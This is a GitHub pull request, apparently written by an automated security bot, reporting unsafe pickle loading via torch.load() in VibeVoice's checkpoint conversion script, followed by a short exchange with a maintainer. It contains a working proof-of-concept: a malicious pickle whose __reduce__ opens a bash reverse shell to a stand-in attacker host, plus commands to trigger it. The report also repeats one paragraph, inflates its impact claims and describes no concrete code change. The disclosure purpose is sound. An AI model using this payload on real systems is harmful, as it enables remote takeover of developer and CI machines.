[Security] Fix HIGH vulnerability: trailofbits.python.pickles-in-pytorch.pickles-in-pytorch

[orbisai0security]

Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	High	In the VibeVoice repository, this script converts neural network checkpoints, potentially loading untrusted pickle files which could execute arbitrary code, leading to compromise of the developer's machine or CI environment, data theft, or further lateral movement within the system.
Likelihood	Medium	Exploitation requires an attacker to provide a malicious pickle checkpoint file to the script, which is plausible if the repository processes user-contributed or external checkpoints, but unlikely in standard internal Microsoft workflows without specific targeting.
Ease of Fix	Medium	Remediation involves refactoring the script to use PyTorch's safer state_dict loading instead of pickle, requiring code modifications and testing to ensure compatibility with checkpoint formats without breaking the conversion functionality.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in vibevoice/scripts/convert_nnscaler_checkpoint_to_transformers.py stems from the use of PyTorch's torch.load() function, which deserializes pickled data and can execute arbitrary code if a checkpoint file is maliciously crafted. An attacker could create a poisoned checkpoint file (e.g., disguised as a legitimate nnscaler checkpoint) and trick the script into loading it, leading to remote code execution (RCE) on the system running the conversion. This is particularly exploitable if the script is used in automated pipelines, CI/CD environments, or by users downloading untrusted checkpoints from sources like GitHub releases or shared repositories.

The vulnerability in vibevoice/scripts/convert_nnscaler_checkpoint_to_transformers.py stems from the use of PyTorch's torch.load() function, which deserializes pickled data and can execute arbitrary code if a checkpoint file is maliciously crafted. An attacker could create a poisoned checkpoint file (e.g., disguised as a legitimate nnscaler checkpoint) and trick the script into loading it, leading to remote code execution (RCE) on the system running the conversion. This is particularly exploitable if the script is used in automated pipelines, CI/CD environments, or by users downloading untrusted checkpoints from sources like GitHub releases or shared repositories.

# PoC: Creating a malicious pickle file that executes arbitrary code when loaded by torch.load()
# This simulates an attacker crafting a checkpoint that runs a reverse shell or exfiltrates data.
# Save this as a Python script to generate the malicious file.

import pickle
import torch
import os

class MaliciousPickle:
    def __reduce__(self):
        # This will execute when the pickle is unpickled (via torch.load)
        # Example: Spawn a reverse shell to attacker-controlled server
        cmd = "bash -c 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1'"
        return (os.system, (cmd,))

# Create a fake checkpoint dict (mimicking a PyTorch state_dict)
fake_checkpoint = {
    'model_state_dict': {'layer.weight': torch.randn(10, 10)},  # Dummy data to make it look legitimate
    'malicious_trigger': MaliciousPickle()  # This will trigger on load
}

# Serialize to a file that looks like a checkpoint
with open('malicious_checkpoint.pth', 'wb') as f:
    torch.save(fake_checkpoint, f)  # torch.save uses pickle internally

print("Malicious checkpoint created: malicious_checkpoint.pth")

# PoC: Exploiting the vulnerability by running the target script on the malicious checkpoint
# Assume the attacker has placed 'malicious_checkpoint.pth' in the working directory or made it downloadable.
# The script convert_nnscaler_checkpoint_to_transformers.py likely calls torch.load() on a checkpoint file.

# Step 1: Clone or access the repository
git clone https://github.com/microsoft/VibeVoice.git
cd VibeVoice

# Step 2: Place or download the malicious checkpoint (e.g., via social engineering: "Here's an updated nnscaler checkpoint")
# In a real attack, this could be hosted on a malicious site or shared via email/PR.

# Step 3: Run the vulnerable script with the malicious checkpoint as input
# The script probably takes a checkpoint path as an argument (based on typical PyTorch conversion scripts)
python scripts/convert_nnscaler_checkpoint_to_transformers.py --input_checkpoint malicious_checkpoint.pth --output_path converted_model

# Upon execution, torch.load() deserializes the pickle, triggering the __reduce__ method.
# This executes the reverse shell command, giving the attacker a shell on the system.
# If the script is run in a container or CI pipeline, this could lead to broader compromise.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	Medium	Successful exploitation could allow exfiltration of model checkpoints, which may contain proprietary voice processing algorithms, training data snippets, or API keys embedded in the repository's configuration. If the system processes user voice data, indirect leakage of sensitive audio metadata or processed outputs is possible, though direct user data access depends on deployment context.
System Compromise	High	Arbitrary code execution enables full control of the host system running the script, including privilege escalation to root if the process has elevated permissions (common in ML training environments). In containerized deployments (e.g., Docker for VibeVoice), this could allow container escape to the host via kernel exploits or Docker socket access, compromising entire clusters.
Operational Impact	Medium	The exploit disrupts the checkpoint conversion process, potentially corrupting outputs or causing script crashes. If integrated into automated pipelines (e.g., GitHub Actions for model updates), it could halt voice AI model deployments, leading to service downtime for dependent applications like speech recognition services, with recovery requiring manual intervention and backup restoration.
Compliance Risk	Medium	Violates OWASP Top 10 A08:2021 (Software and Data Integrity Failures) by allowing insecure deserialization. If VibeVoice handles regulated data (e.g., voice data under GDPR for EU users or HIPAA for health-related audio), exploitation could lead to unauthorized data processing, risking fines or audit failures. Fails CIS Benchmarks for secure ML pipelines, potentially impacting SOC2 compliance for data integrity.

Vulnerability Details

• Rule ID: trailofbits.python.pickles-in-pytorch.pickles-in-pytorch
• File: vibevoice/scripts/convert_nnscaler_checkpoint_to_transformers.py
• Description: Functions reliant on pickle can result in arbitrary code execution. Consider loading from state_dict, using fickling, or switching to a safer serialization method like ONNX

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• vibevoice/scripts/convert_nnscaler_checkpoint_to_transformers.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.

[fakerybakery]

This doesn't seem like an issue at all since vibevoice/scripts/convert_nnscaler_checkpoint_to_transformers.py is 1) not intended for end-user use 2) this only happens if you load untrusted checkpoints

[orbisai0security]

I agree that the script is internal and that the worst-case is loading an untrusted checkpoint — but precisely for that reason, I recommend using weights_only when supported as a safe default.